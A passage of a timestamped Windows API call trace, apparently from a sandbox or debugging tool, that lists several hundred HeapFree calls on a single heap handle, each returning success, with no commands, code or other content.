	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0169.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0169.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0169.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0169.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0169.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0169.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0170.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0170.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0170.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0170.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0170.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0170.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0170.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0170.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0170.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0170.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0170.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0170.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0170.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
